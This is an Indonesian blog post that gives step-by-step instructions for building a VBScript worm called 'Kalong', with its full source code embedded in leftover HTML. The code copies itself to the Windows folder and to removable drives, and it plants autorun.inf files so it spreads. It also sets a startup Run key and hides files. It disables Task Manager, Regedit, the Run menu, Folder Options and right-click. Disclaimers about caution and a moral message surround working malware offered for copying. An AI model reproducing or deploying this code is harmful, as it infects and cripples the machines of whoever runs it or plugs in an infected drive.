Cara Membuat Virus Kalong

Uhhhh… kayaknya kali ini Lefvi ngasi post yang membahayakan deh???

Tapi, ini kan sekedar info aja…

Jangan di coba untuk menjahili orang lain ya… karena akan menyebabkan masalah besar nantinya!

Lefvi ngasi ini agar kita berhati-hati aja…

Virus ini dapat di deteksi dan di hapus dengan SMADAV… karena virus ini buatan sederhana…

Jadi gak perlu takut yang punya SMADAV paling Update…

Oke langsung aja ya…

Langkah-Langkah :

• Buka Notepad
• Pastikan Antivirus anda aktif dan bersiap untuk men scan karena akan berbahaya jika virus ini dibiarkan lama-lama
• Copykan semua kode di bawah ini :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//<br />on error resume next’//–Dim kata-kata berikut ini–//<br />dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//<br />isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”<br />set fs = createobject(“Scripting.FileSystemObject”)<br />set mf = fs.getfile(Wscript.ScriptFullname)<br />dim text,size<br />size = mf.size<br />check = mf.drive.drivetype<br />set text = mf.openastextstream(1,-2)<br />do while not text.atendofstream<br />rekur = rekur & text.readline<br />rekur = rekur & vbcrlf<br />loop<br />do</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)<br />Set windowpath = fs.getspecialfolder(0)<br />set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br />tf.attributes = 32<br />set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)<br />tf.write rekursif<br />tf.close<br />set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br />tf.attributes = 39<br />‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//<br />‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">for each flashdrive in fs.drives<br />‘//–Cek Drive–//<br />If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//<br />set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br />tf.attributes =32<br />set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)<br />tf.write rekursif<br />tf.close<br />set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br />tf.attributes = 39</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//<br />set tf =fs.getfile(flashdrive.path &”\autorun.inf”)<br />tf.attributes = 32<br />set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)<br />tf.write isi<br />tf.close<br />set tf = fs.getfile(flashdrive.path &”\autorun.inf”)<br />tf.attributes=39<br />end if<br />next</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manipulasi Registry–//</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">set kalong = createobject(“WScript.Shell”)</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//<br />kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Disable klik kanan–//<br />kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Munculkan Pesan Setiap Windows Startup–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Aktif setiap Windows Startup–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Manip – Ubah RegisteredOwner dan Organization–//<br />kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”<br />kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”</span></div><div style="color: #333333; line-height: 16.8px; text-align: justify;"><span style="font-family: "georgia" , "times new roman" , serif;">‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//<br />if check <> 1 then<br />Wscript.sleep 200000<br />end if<br />loop while check <> 1<br />set sd = createobject(“Wscript.shell”)<br />sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname<br />‘Akhir dari Kode

• Setelah anda Copykan semua kodenya, Save dan ganti Save As Typenya menjadi All Files
• Ganti namanya menjadi Kalong.vbs karena virus ini menggunakan bahasa pemerograman Virtual Basic
• Dan Pilih Save

Oh iya… Nama virusnya boleh diganti apa aja deh yang penting tetap ber extensi *.VBS

Mohon dibaca Nasehat langsung dari Lefvi : Jangan menjadi musuh dibalik selimut… dan jangan melakukan balas dendam kepada orang yang telah menyakiti kita karena ketika kita membalas dendam berarti kita sama saja jahatnya pada orang yang pernah menjahati kita… Hargailah mereka baik maupun jahat karena, sejahat apapun mereka pasti memiliki titik kebaikan dihati mereka… jika kita ikuti permainan mereka dan terus membalas yang mereka lakukan maka sama saja kita memperpanjang masalah kita pada mereka dan pastinya DOSA kita akan terus mengalir sedangkan AMAL BAIK kita akan terus terkuras habis…

Semoga Info diatas sangat berguna bagi kita semua

Sekian dan TERIMAKASIH

Tweet

Posted by whitekopi